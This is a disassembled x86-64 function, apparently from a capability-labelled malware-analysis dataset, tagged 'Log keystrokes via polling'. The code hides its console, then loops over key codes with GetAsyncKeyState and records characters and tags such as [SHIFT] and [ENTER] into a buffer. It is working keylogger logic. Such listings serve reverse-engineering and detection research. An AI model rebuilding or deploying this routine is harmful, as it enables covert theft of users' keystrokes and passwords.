Function at 0x1400115e6
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001ba60
push rbp
push rdi
mov eax, 0x1ae8
call fcn.1400111a4
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x532
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002e018]
xor rax, rbp
mov qword [rbp + 0x1ab0], rax
lea rcx, [0x1400350f9]
call fcn.14001189d
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14002e720]
lea rcx, [rbp + 0x28]
call fcn.14001113b
nop
xor eax, eax
cmp eax, 1
je 0x14001c7b6
mov eax, 8
mov word [rbp + 4], ax
jmp 0x14001bae6
movzx eax, word [rbp + 4]
inc ax
mov word [rbp + 4], ax
movsx eax, word [rbp + 4]
cmp eax, 0xc8
jg 0x14001c7b1
movsx eax, word [rbp + 4]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne case.0x14001bc77.25
movsx eax, word [rbp + 4]
cmp eax, 0x27
jl 0x14001bb94
movsx eax, word [rbp + 4]
cmp eax, 0x40
jg 0x14001bb94
lea rax, [rbp + 0x668]
mov qword [rbp + 0x6a8], rax
lea rax, [rbp + 0x6c8]
mov qword [rbp + 0x708], rax
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x6a8]
call fcn.1400118d4
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x708]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp 0x14001c7b1
movsx eax, word [rbp + 4]
cmp eax, 0x40
jle 0x14001bc2e
movsx eax, word [rbp + 4]
cmp eax, 0x5b
jge 0x14001bc2e
movsx eax, word [rbp + 4]
add eax, 0x20
mov word [rbp + 4], ax
lea rax, [rbp + 0x728]
mov qword [rbp + 0x768], rax
lea rax, [rbp + 0x788]
mov qword [rbp + 0x7c8], rax
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x768]
call fcn.1400118d4
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x7c8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp 0x14001c7b1
movsx eax, word [rbp + 4]
mov dword [rbp + 0x1a94], eax
mov eax, dword [rbp + 0x1a94]
sub eax, 8
mov dword [rbp + 0x1a94], eax
cmp dword [rbp + 0x1a94], 0xd6
ja case.0x14001bc77.25
movsxd rax, dword [rbp + 0x1a94]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x1c850]
mov eax, dword [rcx + rax*4 + 0x1c7e8]
add rax, rcx
jmp rax
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0x828], rax
lea rax, [rbp + 0x848]
mov qword [rbp + 0x888], rax
lea rdx, [0x1400292b4]
mov rcx, qword [rbp + 0x828]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x888]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x8a8]
mov qword [rbp + 0x8e8], rax
lea rax, [rbp + 0x908]
mov qword [rbp + 0x948], rax
lea rdx, str._SHIFT_
mov rcx, qword [rbp + 0x8e8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x948]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x968]
mov qword [rbp + 0x9a8], rax
lea rax, [rbp + 0x9c8]
mov qword [rbp + 0xa08], rax
lea rdx, str._n_ENTER_
mov rcx, qword [rbp + 0x9a8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xa08]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xa28]
mov qword [rbp + 0xa68], rax
lea rax, [rbp + 0xa88]
mov qword [rbp + 0xac8], rax
lea rdx, str._BACKSPACE_
mov rcx, qword [rbp + 0xa68]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xac8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xae8]
mov qword [rbp + 0xb28], rax
lea rax, [rbp + 0xb48]
mov qword [rbp + 0xb88], rax
lea rdx, str._TAB_
mov rcx, qword [rbp + 0xb28]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xb88]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xba8]
mov qword [rbp + 0xbe8], rax
lea rax, [rbp + 0xc08]
mov qword [rbp + 0xc48], rax
lea rdx, str._CTRL_
mov rcx, qword [rbp + 0xbe8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xc48]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xc68]
mov qword [rbp + 0xca8], rax
lea rax, [rbp + 0xcc8]
mov qword [rbp + 0xd08], rax
lea rdx, str._DEL_
mov rcx, qword [rbp + 0xca8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xd08]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xd28]
mov qword [rbp + 0xd68], rax
lea rax, [rbp + 0xd88]
mov qword [rbp + 0xdc8], rax
lea rdx, str.__:_
mov rcx, qword [rbp + 0xd68]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xdc8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xde8]
mov qword [rbp + 0xe28], rax
lea rax, [rbp + 0xe48]
mov qword [rbp + 0xe88], rax
lea rdx, str.____
mov rcx, qword [rbp + 0xe28]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xe88]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xea8]
mov qword [rbp + 0xee8], rax
lea rax, [rbp + 0xf08]
mov qword [rbp + 0xf48], rax
lea rdx, [0x140029310]
mov rcx, qword [rbp + 0xee8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0xf48]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0xf68]
mov qword [rbp + 0xfa8], rax
lea rax, [rbp + 0xfc8]
mov qword [rbp + 0x1008], rax
lea rdx, [0x140029318]
mov rcx, qword [rbp + 0xfa8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1008]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1028]
mov qword [rbp + 0x1068], rax
lea rax, [rbp + 0x1088]
mov qword [rbp + 0x10c8], rax
lea rdx, str.__
mov rcx, qword [rbp + 0x1068]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x10c8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x10e8]
mov qword [rbp + 0x1128], rax
lea rax, [rbp + 0x1148]
mov qword [rbp + 0x1188], rax
lea rdx, str._____
mov rcx, qword [rbp + 0x1128]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1188]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x11a8]
mov qword [rbp + 0x11e8], rax
lea rax, [rbp + 0x1208]
mov qword [rbp + 0x1248], rax
lea rdx, str.___
mov rcx, qword [rbp + 0x11e8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1248]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1268]
mov qword [rbp + 0x12a8], rax
lea rax, [rbp + 0x12c8]
mov qword [rbp + 0x1308], rax
lea rdx, str.0123456789
mov rcx, qword [rbp + 0x12a8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1308]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1328]
mov qword [rbp + 0x1368], rax
lea rax, [rbp + 0x1388]
mov qword [rbp + 0x13c8], rax
lea rdx, [0x14002933c]
mov rcx, qword [rbp + 0x1368]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x13c8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x13e8]
mov qword [rbp + 0x1428], rax
lea rax, [rbp + 0x1448]
mov qword [rbp + 0x1488], rax
lea rdx, [0x140029340]
mov rcx, qword [rbp + 0x1428]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1488]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x14a8]
mov qword [rbp + 0x14e8], rax
lea rax, [rbp + 0x1508]
mov qword [rbp + 0x1548], rax
lea rdx, [0x140029344]
mov rcx, qword [rbp + 0x14e8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1548]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1568]
mov qword [rbp + 0x15a8], rax
lea rax, [rbp + 0x15c8]
mov qword [rbp + 0x1608], rax
lea rdx, [0x140029348]
mov rcx, qword [rbp + 0x15a8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1608]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1628]
mov qword [rbp + 0x1668], rax
lea rax, [rbp + 0x1688]
mov qword [rbp + 0x16c8], rax
lea rdx, [0x14002934c]
mov rcx, qword [rbp + 0x1668]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x16c8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x16e8]
mov qword [rbp + 0x1728], rax
lea rax, [rbp + 0x1748]
mov qword [rbp + 0x1788], rax
lea rdx, [0x140029350]
mov rcx, qword [rbp + 0x1728]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1788]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x17a8]
mov qword [rbp + 0x17e8], rax
lea rax, [rbp + 0x1808]
mov qword [rbp + 0x1848], rax
lea rdx, [0x140029354]
mov rcx, qword [rbp + 0x17e8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1848]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1868]
mov qword [rbp + 0x18a8], rax
lea rax, [rbp + 0x18c8]
mov qword [rbp + 0x1908], rax
lea rdx, [0x140029358]
mov rcx, qword [rbp + 0x18a8]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1908]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x1928]
mov qword [rbp + 0x1968], rax
lea rax, [rbp + 0x1988]
mov qword [rbp + 0x19c8], rax
lea rdx, [0x14002935c]
mov rcx, qword [rbp + 0x1968]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x19c8]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp case.0x14001bc77.25
lea rax, [rbp + 0x19e8]
mov qword [rbp + 0x1a28], rax
lea rax, [rbp + 0x1a48]
mov qword [rbp + 0x1a88], rax
lea rdx, [0x140029360]
mov rcx, qword [rbp + 0x1a28]
call fcn.1400113cf
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1aa0], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1a88]
call fcn.14001113b
mov qword [rbp + 0x1aa8], rax
mov rdx, qword [rbp + 0x1aa0]
mov rcx, qword [rbp + 0x1aa8]
call fcn.14001180c
jmp 0x14001badb
jmp 0x14001bac5
lea rcx, [rbp + 0x28]
call fcn.1400111ae
lea rcx, [rbp - 0x20]
lea rdx, [0x140028960]
call fcn.14001171c
mov rcx, qword [rbp + 0x1ab0]
xor rcx, rbp
call fcn.14001142e
lea rsp, [rbp + 0x1ac8]
pop rdi
pop rbp
ret